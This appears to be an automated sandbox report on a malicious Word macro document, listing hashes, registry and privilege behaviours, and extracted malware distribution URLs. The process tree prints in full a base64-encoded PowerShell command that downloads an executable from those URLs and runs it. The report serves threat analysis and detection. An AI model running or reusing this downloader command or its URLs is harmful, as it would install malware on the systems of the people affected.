Analysis
-
max time kernel
132s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
21-05-2022 11:06
Static task
static1
Behavioral task
behavioral1
Sample
b6697d2e98c07a945f510e184e44311092612ecefa0973fd2c3d8bb6a180f16c.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
b6697d2e98c07a945f510e184e44311092612ecefa0973fd2c3d8bb6a180f16c.doc
Resource
win10v2004-20220414-en
General
-
Target
b6697d2e98c07a945f510e184e44311092612ecefa0973fd2c3d8bb6a180f16c.doc
-
Size
174KB
-
MD5
3f3435d39a58537f153db99e870b30f8
-
SHA1
dfb5f9bd4524abecb5851021f5c8c574bf8d3658
-
SHA256
b6697d2e98c07a945f510e184e44311092612ecefa0973fd2c3d8bb6a180f16c
-
SHA512
7aac4cb45cf7cb8771a10e587f81c1ba13a489573d8887c08db1271aa088f871ef62a0b4b6097a902663761bbb77fb17c193b6d03a2538786eccd5c613cd678f
Malware Config
Extracted
http://gscrow.com/wp-content/z768/
http://museubispodorosario.com/wp-includes/6r21947/
http://theunstoppablesummit.com/wp-admin/w4bsb1t03/
http://nusantaradatacenter.com/wp-content/upgrade/g2/
http://blog.nakiol.net/wp-content/f38/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powErSHell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2496 1456 powErSHell.exe -
Blocklisted process makes network request 3 IoCs
Processes:
powErSHell.exeflow pid process 52 2496 powErSHell.exe 54 2496 powErSHell.exe 56 2496 powErSHell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4652 WINWORD.EXE 4652 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powErSHell.exepid process 2496 powErSHell.exe 2496 powErSHell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powErSHell.exedescription pid process Token: SeDebugPrivilege 2496 powErSHell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 4652 WINWORD.EXE 4652 WINWORD.EXE 4652 WINWORD.EXE 4652 WINWORD.EXE 4652 WINWORD.EXE 4652 WINWORD.EXE 4652 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\b6697d2e98c07a945f510e184e44311092612ecefa0973fd2c3d8bb6a180f16c.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exepowErSHell -e JABRADcANwA2ADgANQAwADYAPQAnAG0AMAA3ADcAXwA5ACcAOwAkAFUAOQA3ADcAMQA1ADgAIAA9ACAAJwA1ADcAOQAnADsAJAB0ADMAMAAwADYANAAzADIAPQAnAFEAMAA3ADEAMAAxADUAJwA7ACQARwA3ADMAMgA4ADMANwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVQA5ADcANwAxADUAOAArACcALgBlAHgAZQAnADsAJAB0ADAAMwAyADEANQA2AD0AJwBKADgAOQA1ADcAXwA4ADYAJwA7ACQAegA3ADMAXwBfADQAOAA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBFAGAAVABgAC4AVwBFAEIAYwBsAEkAYABFAG4AVAA7ACQAQQAwADIANQA5ADgANwAwAD0AJwBoAHQAdABwADoALwAvAGcAcwBjAHIAbwB3AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AegA3ADYAOAAvAEAAaAB0AHQAcAA6AC8ALwBtAHUAcwBlAHUAYgBpAHMAcABvAGQAbwByAG8AcwBhAHIAaQBvAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA2AHIAMgAxADkANAA3AC8AQABoAHQAdABwADoALwAvAHQAaABlAHUAbgBzAHQAbwBwAHAAYQBiAGwAZQBzAHUAbQBtAGkAdAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdwA0AGIAcwBiADEAdAAwADMALwBAAGgAdAB0AHAAOgAvAC8AbgB1AHMAYQBuAHQAYQByAGEAZABhAHQAYQBjAGUAbgB0AGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABnAHIAYQBkAGUALwBnADIALwBAAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAG4AYQBrAGkAbwBsAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzADgALwAnAC4AUwBwAGwASQB0ACgAJwBAACcAKQA7ACQAQwAyADYANAA4ADEAMAA0AD0AJwBsADcANgAwAF8AMAAwADcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFIAMwAzADgANwA0ACAAaQBuACAAJABBADAAMgA1ADkAOAA3ADAAKQB7AHQAcgB5AHsAJAB6ADcAMwBfAF8ANAA4AC4AZABvAHcAbgBMAG8AYQBEAGYAaQBMAGUAKAAkAFIAMwAzADgANwA0ACwAIAAkAEcANwAzADIAOAAzADcAKQA7ACQAWQAxAF8ANQBfADcAOAAwAD0AJwBUADUANwA4ADAANgA1ACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQARwA3ADMAMgA4ADMANwApAC4AbABFAE4AZwBUAGgAIAAtAGcAZQAgADMAMAAyADUAMwApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAJwArACcAZQAtAEkAJwArACcAdABlAG0AJwApACAAJABHADcAMwAyADgAMwA3ADsAJABHADIANAA3ADEAOAA9ACcAYQA5ADIAMgA2ADYAMwAxACcAOwBiAHIAZQBhAGsAOwAkAFYAMQA1ADEAMQA3AD0AJwB3ADkAMQA1ADYANABfACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFQAOAA0ADQANAA1ADkANAA9ACcATgAwADEANgAwADQANAAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2496-138-0x0000025FB5610000-0x0000025FB5632000-memory.dmpFilesize
136KB
-
memory/2496-139-0x00007FFF86A40000-0x00007FFF87501000-memory.dmpFilesize
10.8MB
-
memory/4652-133-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmpFilesize
64KB
-
memory/4652-130-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmpFilesize
64KB
-
memory/4652-134-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmpFilesize
64KB
-
memory/4652-135-0x00007FFF708F0000-0x00007FFF70900000-memory.dmpFilesize
64KB
-
memory/4652-136-0x00007FFF708F0000-0x00007FFF70900000-memory.dmpFilesize
64KB
-
memory/4652-137-0x000001F644B90000-0x000001F644B94000-memory.dmpFilesize
16KB
-
memory/4652-132-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmpFilesize
64KB
-
memory/4652-131-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmpFilesize
64KB
-
memory/4652-141-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmpFilesize
64KB
-
memory/4652-142-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmpFilesize
64KB
-
memory/4652-143-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmpFilesize
64KB
-
memory/4652-144-0x00007FFF72A50000-0x00007FFF72A60000-memory.dmpFilesize
64KB